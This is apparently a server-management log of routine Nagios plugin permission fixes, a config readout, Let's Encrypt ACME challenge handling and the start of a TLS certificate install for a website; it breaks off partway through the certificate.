2025-10-18 12:35:34: 


ok


2025-10-18 12:35:35: 

PUT: /tmp/pkp787731

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok


2025-10-18 12:35:35: 

chmod 755 /tmp/pkp787731; /tmp/pkp787731; rm /tmp/pkp787731

2025-10-18 12:35:35: 


ok


2025-10-18 12:35:36: 

PUT: /tmp/pkp621007

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-10-18 12:35:36: 

chmod 755 /tmp/pkp621007; /tmp/pkp621007; rm /tmp/pkp621007

2025-10-18 12:35:36: 


ok


2025-10-18 12:35:37: 

PUT: /tmp/pkp984918

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_encoder.php'
echo ok


2025-10-18 12:35:37: 

chmod 755 /tmp/pkp984918; /tmp/pkp984918; rm /tmp/pkp984918

2025-10-18 12:35:37: 


ok


2025-10-18 12:35:38: 

PUT: /tmp/pkp151240

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_file_exists'
echo ok


2025-10-18 12:35:38: 

chmod 755 /tmp/pkp151240; /tmp/pkp151240; rm /tmp/pkp151240

2025-10-18 12:35:38: 


ok


2025-10-18 12:35:41: 

PUT: /tmp/pkp603510

#!/bin/bash
dpkg -i '/usr/local/nagios/libexec/nagios-plugin-check-raid_4.0.9-1_all.deb'
ln -s /usr/lib/nagios/plugins/check_raid /usr/local/nagios/libexec/check_raid


2025-10-18 12:35:41: 

chmod 755 /tmp/pkp603510; /tmp/pkp603510; rm /tmp/pkp603510

2025-10-18 12:35:41: 


(Reading database ... 168944 files and directories currently installed.)
Preparing to unpack .../nagios-plugin-check-raid_4.0.9-1_all.deb ...
Unpacking nagios-plugin-check-raid (4.0.9-1) over (4.0.9-1) ...
Setting up nagios-plugin-check-raid (4.0.9-1) ...
ln: failed to create symbolic link '/usr/local/nagios/libexec/check_raid': File exists




STDERR:
ln: failed to create symbolic link '/usr/local/nagios/libexec/check_raid': File exists


2025-10-18 13:21:44: Establishing a connection
2025-10-18 13:21:45: Establishing a connection
2025-10-18 13:21:46: 

PUT: /tmp/pkp200930

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-18 13:21:46: 

chmod 755 /tmp/pkp200930; /tmp/pkp200930; rm /tmp/pkp200930

2025-10-18 13:21:46: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg	629
# CUSTOMIZED

###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################

# Define an optional hostgroup for Linux machines

define hostgroup {

    hostgroup_name          linux-servers           ; The name of the hostgroup
    alias                   Linux Servers           ; Long name of the group
      ; Comma separated list of hosts that belong to this group
  members  localhost, server_51, server_53, server_44, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}






2025-10-18 13:21:46: 

systemctl reload nagios

2025-10-18 13:21:46: 




2025-10-18 13:21:47: 

PUT: /tmp/pkp626758

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-10-18 13:21:48: 

chmod 755 /tmp/pkp626758; /tmp/pkp626758; rm /tmp/pkp626758

2025-10-18 13:21:48: 


ok


2025-10-18 13:21:48: 

PUT: /tmp/pkp316841

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok


2025-10-18 13:21:49: 

chmod 755 /tmp/pkp316841; /tmp/pkp316841; rm /tmp/pkp316841

2025-10-18 13:21:49: 


ok


2025-10-18 13:21:49: 

PUT: /tmp/pkp693902

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_service'
echo ok


2025-10-18 13:21:50: 

chmod 755 /tmp/pkp693902; /tmp/pkp693902; rm /tmp/pkp693902

2025-10-18 13:21:50: 


ok


2025-10-18 13:21:50: 

PUT: /tmp/pkp999113

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-10-18 13:21:51: 

chmod 755 /tmp/pkp999113; /tmp/pkp999113; rm /tmp/pkp999113

2025-10-18 13:21:51: 


ok


2025-10-18 13:21:52: 

PUT: /tmp/pkp721730

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_php.php'
echo ok


2025-10-18 13:21:52: 

chmod 755 /tmp/pkp721730; /tmp/pkp721730; rm /tmp/pkp721730

2025-10-18 13:21:52: 


ok


2025-10-18 13:21:53: 

PUT: /tmp/pkp719695

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_debian_packages'
echo ok


2025-10-18 13:21:53: 

chmod 755 /tmp/pkp719695; /tmp/pkp719695; rm /tmp/pkp719695

2025-10-18 13:21:53: 


ok


2025-10-18 13:21:54: 

PUT: /tmp/pkp273082

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_file_exists'
echo ok


2025-10-18 13:21:54: 

chmod 755 /tmp/pkp273082; /tmp/pkp273082; rm /tmp/pkp273082

2025-10-18 13:21:54: 


ok


2025-10-18 13:21:55: 

PUT: /tmp/pkp609588

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-10-18 13:21:55: 

chmod 755 /tmp/pkp609588; /tmp/pkp609588; rm /tmp/pkp609588

2025-10-18 13:21:55: 


ok


2025-10-18 13:21:56: 

PUT: /tmp/pkp353192

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_autoupdate.php'
echo ok


2025-10-18 13:21:56: 

chmod 755 /tmp/pkp353192; /tmp/pkp353192; rm /tmp/pkp353192

2025-10-18 13:21:57: 


ok


2025-10-18 13:22:59: Establishing a connection
2025-10-18 13:23:00: Establishing a connection
2025-10-18 13:23:00: 

PUT: /tmp/pkp233053

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-18 13:23:00: 

chmod 755 /tmp/pkp233053; /tmp/pkp233053; rm /tmp/pkp233053

2025-10-18 13:23:00: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg	629
# CUSTOMIZED

###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################

# Define an optional hostgroup for Linux machines

define hostgroup {

    hostgroup_name          linux-servers           ; The name of the hostgroup
    alias                   Linux Servers           ; Long name of the group
      ; Comma separated list of hosts that belong to this group
  members  localhost, server_51, server_53, server_44, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}






2025-10-18 13:23:00: 

systemctl reload nagios

2025-10-18 13:23:01: 




2025-10-18 13:23:02: 

PUT: /tmp/pkp129186

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-10-18 13:23:02: 

chmod 755 /tmp/pkp129186; /tmp/pkp129186; rm /tmp/pkp129186

2025-10-18 13:23:02: 


ok


2025-10-18 13:23:03: 

PUT: /tmp/pkp578467

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok


2025-10-18 13:23:03: 

chmod 755 /tmp/pkp578467; /tmp/pkp578467; rm /tmp/pkp578467

2025-10-18 13:23:04: 


ok


2025-10-18 13:23:04: 

PUT: /tmp/pkp540758

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_service'
echo ok


2025-10-18 13:23:04: 

chmod 755 /tmp/pkp540758; /tmp/pkp540758; rm /tmp/pkp540758

2025-10-18 13:23:05: 


ok


2025-10-18 13:23:05: 

PUT: /tmp/pkp988167

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-10-18 13:23:05: 

chmod 755 /tmp/pkp988167; /tmp/pkp988167; rm /tmp/pkp988167

2025-10-18 13:23:06: 


ok


2025-10-18 13:23:06: 

PUT: /tmp/pkp159783

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_php.php'
echo ok


2025-10-18 13:23:07: 

chmod 755 /tmp/pkp159783; /tmp/pkp159783; rm /tmp/pkp159783

2025-10-18 13:23:07: 


ok


2025-10-18 13:24:25: Establishing a connection
2025-10-18 13:24:26: Establishing a connection
2025-10-18 13:24:27: 

PUT: /tmp/pkp756820

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-18 13:24:27: 

chmod 755 /tmp/pkp756820; /tmp/pkp756820; rm /tmp/pkp756820

2025-10-18 13:24:27: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg	629
# CUSTOMIZED

###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################

# Define an optional hostgroup for Linux machines

define hostgroup {

    hostgroup_name          linux-servers           ; The name of the hostgroup
    alias                   Linux Servers           ; Long name of the group
      ; Comma separated list of hosts that belong to this group
  members  localhost, server_51, server_53, server_44, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}






2025-10-18 13:24:27: 

systemctl reload nagios

2025-10-18 13:24:27: 




2025-10-18 13:24:29: 

PUT: /tmp/pkp548148

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_service'
echo ok


2025-10-18 13:24:29: 

chmod 755 /tmp/pkp548148; /tmp/pkp548148; rm /tmp/pkp548148

2025-10-18 13:24:29: 


ok


2025-10-18 13:24:30: 

PUT: /tmp/pkp289328

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_debian_packages'
echo ok


2025-10-18 13:24:30: 

chmod 755 /tmp/pkp289328; /tmp/pkp289328; rm /tmp/pkp289328

2025-10-18 13:24:30: 


ok


2025-10-18 13:24:31: 

PUT: /tmp/pkp463248

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-10-18 13:24:31: 

chmod 755 /tmp/pkp463248; /tmp/pkp463248; rm /tmp/pkp463248

2025-10-18 13:24:31: 


ok


2025-10-18 13:24:32: 

PUT: /tmp/pkp989744

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok


2025-10-18 13:24:32: 

chmod 755 /tmp/pkp989744; /tmp/pkp989744; rm /tmp/pkp989744

2025-10-18 13:24:32: 


ok


2025-10-18 13:24:33: 

PUT: /tmp/pkp751208

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_file_exists'
echo ok


2025-10-18 13:24:33: 

chmod 755 /tmp/pkp751208; /tmp/pkp751208; rm /tmp/pkp751208

2025-10-18 13:24:33: 


ok


2025-10-18 13:25:26: Establishing a connection
2025-10-18 13:25:27: Establishing a connection
2025-10-18 13:25:28: 

PUT: /tmp/pkp815279

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-18 13:25:28: 

chmod 755 /tmp/pkp815279; /tmp/pkp815279; rm /tmp/pkp815279

2025-10-18 13:25:28: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg	629
# CUSTOMIZED

###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################

# Define an optional hostgroup for Linux machines

define hostgroup {

    hostgroup_name          linux-servers           ; The name of the hostgroup
    alias                   Linux Servers           ; Long name of the group
      ; Comma separated list of hosts that belong to this group
  members  localhost, server_51, server_53, server_44, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}






2025-10-18 13:25:28: 

systemctl reload nagios

2025-10-18 13:25:28: 




2025-10-18 13:25:29: 

PUT: /tmp/pkp720428

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-10-18 13:25:29: 

chmod 755 /tmp/pkp720428; /tmp/pkp720428; rm /tmp/pkp720428

2025-10-18 13:25:30: 


ok


2025-10-18 13:25:30: 

PUT: /tmp/pkp609340

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_toner.php'
echo ok


2025-10-18 13:25:30: 

chmod 755 /tmp/pkp609340; /tmp/pkp609340; rm /tmp/pkp609340

2025-10-18 13:25:30: 


ok


2025-10-18 13:25:31: 

PUT: /tmp/pkp596193

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_service'
echo ok


2025-10-18 13:25:31: 

chmod 755 /tmp/pkp596193; /tmp/pkp596193; rm /tmp/pkp596193

2025-10-18 13:25:31: 


ok


2025-10-18 13:25:32: 

PUT: /tmp/pkp825984

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_website'
echo ok


2025-10-18 13:25:32: 

chmod 755 /tmp/pkp825984; /tmp/pkp825984; rm /tmp/pkp825984

2025-10-18 13:25:32: 


ok


2025-10-18 13:25:32: 

PUT: /tmp/pkp780983

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_debian_packages'
echo ok


2025-10-18 13:25:33: 

chmod 755 /tmp/pkp780983; /tmp/pkp780983; rm /tmp/pkp780983

2025-10-18 13:25:33: 


ok


2025-10-18 13:25:33: 

PUT: /tmp/pkp545865

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-10-18 13:25:34: 

chmod 755 /tmp/pkp545865; /tmp/pkp545865; rm /tmp/pkp545865

2025-10-18 13:25:34: 


ok


2025-10-18 13:25:34: 

PUT: /tmp/pkp773768

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_sensors.php'
echo ok


2025-10-18 13:25:34: 

chmod 755 /tmp/pkp773768; /tmp/pkp773768; rm /tmp/pkp773768

2025-10-18 13:25:35: 


ok


2025-10-18 13:25:35: 

PUT: /tmp/pkp672339

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-10-18 13:25:36: 

chmod 755 /tmp/pkp672339; /tmp/pkp672339; rm /tmp/pkp672339

2025-10-18 13:25:36: 


ok


2025-10-18 13:25:36: 

PUT: /tmp/pkp600092

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_php.php'
echo ok


2025-10-18 13:25:37: 

chmod 755 /tmp/pkp600092; /tmp/pkp600092; rm /tmp/pkp600092

2025-10-18 13:25:37: 


ok


2025-10-18 13:25:37: 

PUT: /tmp/pkp195632

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-10-18 13:25:38: 

chmod 755 /tmp/pkp195632; /tmp/pkp195632; rm /tmp/pkp195632

2025-10-18 13:25:38: 


ok


2025-10-18 13:25:38: 

PUT: /tmp/pkp204961

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok


2025-10-18 13:25:39: 

chmod 755 /tmp/pkp204961; /tmp/pkp204961; rm /tmp/pkp204961

2025-10-18 13:25:39: 


ok


2025-10-18 13:25:39: 

PUT: /tmp/pkp863415

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-10-18 13:25:40: 

chmod 755 /tmp/pkp863415; /tmp/pkp863415; rm /tmp/pkp863415

2025-10-18 13:25:40: 


ok


2025-10-18 13:25:40: 

PUT: /tmp/pkp233482

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_encoder.php'
echo ok


2025-10-18 13:25:41: 

chmod 755 /tmp/pkp233482; /tmp/pkp233482; rm /tmp/pkp233482

2025-10-18 13:25:41: 


ok


2025-10-18 13:25:41: 

PUT: /tmp/pkp583265

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_file_exists'
echo ok


2025-10-18 13:25:42: 

chmod 755 /tmp/pkp583265; /tmp/pkp583265; rm /tmp/pkp583265

2025-10-18 13:25:42: 


ok


2025-10-18 13:25:44: 

PUT: /tmp/pkp274471

#!/bin/bash
dpkg -i '/usr/local/nagios/libexec/nagios-plugin-check-raid_4.0.9-1_all.deb'
ln -s /usr/lib/nagios/plugins/check_raid /usr/local/nagios/libexec/check_raid


2025-10-18 13:25:44: 

chmod 755 /tmp/pkp274471; /tmp/pkp274471; rm /tmp/pkp274471

2025-10-18 13:25:44: 


(Reading database ... 168944 files and directories currently installed.)
Preparing to unpack .../nagios-plugin-check-raid_4.0.9-1_all.deb ...
Unpacking nagios-plugin-check-raid (4.0.9-1) over (4.0.9-1) ...
Setting up nagios-plugin-check-raid (4.0.9-1) ...
ln: failed to create symbolic link '/usr/local/nagios/libexec/check_raid': File exists




STDERR:
ln: failed to create symbolic link '/usr/local/nagios/libexec/check_raid': File exists


2025-10-18 13:32:12: Establishing a connection
2025-10-18 13:32:12: Establishing a connection
2025-10-18 13:32:12: 

PUT: /tmp/pkp110680

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-18 13:32:12: 

chmod 755 /tmp/pkp110680; /tmp/pkp110680; rm /tmp/pkp110680

2025-10-18 13:32:12: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg	629
# CUSTOMIZED

###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################

# Define an optional hostgroup for Linux machines

define hostgroup {

    hostgroup_name          linux-servers           ; The name of the hostgroup
    alias                   Linux Servers           ; Long name of the group
      ; Comma separated list of hosts that belong to this group
  members  localhost, server_51, server_53, server_44, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}






2025-10-18 13:32:12: 

systemctl reload nagios

2025-10-18 13:32:12: 




2025-10-18 13:32:12: 

PUT: /tmp/pkp406697

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-10-18 13:32:12: 

chmod 755 /tmp/pkp406697; /tmp/pkp406697; rm /tmp/pkp406697

2025-10-18 13:32:12: 


ok


2025-10-18 13:32:12: 

PUT: /tmp/pkp309955

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok


2025-10-18 13:32:12: 

chmod 755 /tmp/pkp309955; /tmp/pkp309955; rm /tmp/pkp309955

2025-10-18 13:32:12: 


ok


2025-10-18 13:32:12: 

PUT: /tmp/pkp819209

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_file_exists'
echo ok


2025-10-18 13:32:12: 

chmod 755 /tmp/pkp819209; /tmp/pkp819209; rm /tmp/pkp819209

2025-10-18 13:32:12: 


ok


2025-10-18 13:32:12: 

PUT: /tmp/pkp896347

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_debian_packages'
echo ok


2025-10-18 13:32:12: 

chmod 755 /tmp/pkp896347; /tmp/pkp896347; rm /tmp/pkp896347

2025-10-18 13:32:12: 


ok


2025-10-18 13:32:12: 

PUT: /tmp/pkp984302

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_service'
echo ok


2025-10-18 13:32:12: 

chmod 755 /tmp/pkp984302; /tmp/pkp984302; rm /tmp/pkp984302

2025-10-18 13:32:12: 


ok


2025-10-18 13:32:13: 

PUT: /tmp/pkp904265

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok


2025-10-18 13:32:13: 

chmod 755 /tmp/pkp904265; /tmp/pkp904265; rm /tmp/pkp904265

2025-10-18 13:32:13: 


ok


2025-10-18 13:32:13: 

PUT: /tmp/pkp922410

#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_autoupdate.php'
echo ok


2025-10-18 13:32:13: 

chmod 755 /tmp/pkp922410; /tmp/pkp922410; rm /tmp/pkp922410

2025-10-18 13:32:13: 


ok


2025-10-19 06:00:03: Establishing a connection
2025-10-19 06:00:04: Establishing a connection
2025-10-19 06:00:05: 

PUT: /tmp/pkp918637

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-19 06:00:06: 

chmod 755 /tmp/pkp918637; /tmp/pkp918637; rm /tmp/pkp918637

2025-10-19 06:00:06: 


0


2025-10-20 06:00:03: Establishing a connection
2025-10-20 06:00:04: Establishing a connection
2025-10-20 06:00:05: 

PUT: /tmp/pkp479998

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-20 06:00:06: 

chmod 755 /tmp/pkp479998; /tmp/pkp479998; rm /tmp/pkp479998

2025-10-20 06:00:06: 


0


2025-10-21 06:00:03: Establishing a connection
2025-10-21 06:00:04: Establishing a connection
2025-10-21 06:00:05: 

PUT: /tmp/pkp668617

#!/bin/bash
if [ -d "/var/www/persianchurch_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-21 06:00:07: 

chmod 755 /tmp/pkp668617; /tmp/pkp668617; rm /tmp/pkp668617

2025-10-21 06:00:07: 


1


2025-10-21 06:00:08: Establishing a connection
2025-10-21 06:00:09: 

PUT: /tmp/pkp340154

#!/bin/bash
mkdir -p "/var/www/persianchurch_www/.well-known/acme-challenge/"
cd "/var/www/persianchurch_www/.well-known/acme-challenge/"
cat > AM8ao00lzJraA8GnAn6_CqE5GCjjsWEs9ako20_9cSs <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
AM8ao00lzJraA8GnAn6_CqE5GCjjsWEs9ako20_9cSs.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 AM8ao00lzJraA8GnAn6_CqE5GCjjsWEs9ako20_9cSs
cat > RBb9eUBBW66nbanMwVTREnlkh7EQ7R2htZYEwe5Y7V4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
RBb9eUBBW66nbanMwVTREnlkh7EQ7R2htZYEwe5Y7V4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 RBb9eUBBW66nbanMwVTREnlkh7EQ7R2htZYEwe5Y7V4


2025-10-21 06:00:10: 

chmod 755 /tmp/pkp340154; /tmp/pkp340154; rm /tmp/pkp340154

2025-10-21 06:00:10: 




2025-10-21 06:00:22: Establishing a connection
2025-10-21 06:00:23: 

PUT: /tmp/pkp866872

#!/bin/bash
mkdir -p "/var/www/persianchurch_www/.well-known/acme-challenge/"
cd "/var/www/persianchurch_www/.well-known/acme-challenge/"
rm AM8ao00lzJraA8GnAn6_CqE5GCjjsWEs9ako20_9cSs
rm RBb9eUBBW66nbanMwVTREnlkh7EQ7R2htZYEwe5Y7V4


2025-10-21 06:00:24: 

chmod 755 /tmp/pkp866872; /tmp/pkp866872; rm /tmp/pkp866872

2025-10-21 06:00:25: 




2025-10-21 06:00:25: Establishing a connection
2025-10-21 06:00:26: 

PUT: /tmp/pkp132901

#!/bin/bash
temp_file=$(mktemp)
TARGET=66fe979384f486c79f8519a848115361.crt

cat > $temp_file <<'endmsg'
06:5e:8e:db:09:9c:4d:9b:9e:bb:2b:73:4f:13:8d:fa

-----BEGIN CERTIFICATE-----
MIIFGTCCBAGgAwIBAgISBkS+2Ly9bJ/pnBkC+zwBRRT0MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDIxMDUwMTUwWhcNMjYwMTE5MDUwMTQ5WjAdMRswGQYDVQQD
ExJwZXJzaWFuY2h1cmNoLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQC6ocsqx8VVS7ZLows626krhSC+CJSM+IaR2xbGIkSL8KOq72wqzeEVBwaT
+xCe2EAUrt1aXKrgT0vjBnRcDBwrJHVAyx6EHn2fnoZ2Nd9XThiR1vtvdC5OAp/p
g/mWxJN+RY/Jhr2duGacdhLSIMbYwQGZSp6HdO/ITIG0+aC/7/p+mGXBaDtcrkWP
ctT64MpNCrrfn2a7qjF3CNlwrNT3VJ2yO4xA0zvdzfZdR7d6r8Za2ShXzPdlssW5
C8qtAOe1DZRIBhknw47pIRAp54NUed5iiRp6jlzKdLs5E2NPH/vDBHxpTiMm4yZX
+hDfjpiBZjeXOFQDfoJ/g8+YmUErAgMBAAGjggI7MIICNzAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFF/B/5sGB11zK1IJ/nqN4BecMkvlMB8GA1UdIwQYMBaAFOernw8s
M6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMy5pLmxlbmNyLm9yZy8wNQYDVR0RBC4wLIIScGVyc2lhbmNodXJjaC5p
bmZvghZ3d3cucGVyc2lhbmNodXJjaC5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTE3LmNy
bDCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB1AA5XlLzzrqk+MxssmQez95Dfm8I9
cTIl3SGpJaxhxU4hAAABmgVariAAAAQDAEYwRAIgCY4Dv7IIWjkutYjES8UvfRDS
EWZwMlwHdZv/hLv27OcCIHBvFTn/KNmqLVhWE7iLgAwHEBmNWtdbV23D6NmFkfmE
AHcAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9zfAAAAGaBVq16QAABAMA
SDBGAiEAmwXzujlnGY34eCmLaXwp70Lkt7WLNMVs2C0a7a9vZVMCIQCvl48S/O3d
v03kP8u8KVTL/FqlL6m1GzTtvNvp6FBWIzANBgkqhkiG9w0BAQsFAAOCAQEAVgj0
FJxbpR8jV3JYr2ooJrwHIbKaL9pfVe6ae/DGKLvhpqts+jV/ofyhyyGz9XF4Bg+c
/xAGOQJX8qKMmyY4gKuqacL0vapmKIoXRPyBgCsE7c7SazQ6xJ5ZZuxYKvYE1+ov
